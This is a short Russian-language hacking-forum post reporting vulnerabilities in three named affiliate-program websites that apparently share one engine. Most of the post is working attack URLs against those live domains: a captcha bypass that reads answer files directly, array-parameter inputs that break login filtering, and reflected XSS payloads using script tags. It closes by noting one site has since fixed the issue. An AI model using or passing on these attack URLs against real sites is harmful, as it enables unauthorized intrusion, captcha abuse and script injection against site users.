Мелкие баги партнерок.

Мельком пробежался по разделу партнерок. Сразу были обнаружены мелкие уязвимости. судя по виду 3 партнерки на одном двиге сидят.

1) Сорви БОЛЬШОЙ КУШ! Мега-конверт ру-траффа!
https://forum.antichat.ru/thread148939.html

Капча вида:
http://ru-adult.biz/captcha/captcha_img.php?1256541971_41&params=100,40,0,20
Обход:
http://ru-adult.biz/captcha/data/1256541971_41.txt
Найдено так:
http://ru-adult.biz/captcha/captcha_img.php?125654197'1_41&params=100,40,0,20

плохая фильтрация данных:
http://ru-adult.biz/login.php?username[]=12

И следовательно XSS

http://ru-adult.biz/login.php?username[]=<script>alert()</script>

2) Партнерская программа "СмсКоровка"
https://forum.antichat.ru/thread150027.html

аналогичный баг
http://sekrety-vk.ru/enter.php?password[]=1212

И такаяже XSS

3) Для трафа ВКонтакте (1k-350$)
https://forum.antichat.ru/thread151110.html

тоже самое:

http://smskorovka.ru/login.php?username[]=12

и всё таже XSS

http://smskorovka.ru/login.php?username[]=%3Cscript%3Ealert()%3C/script%3E

 

на коровке убрали уже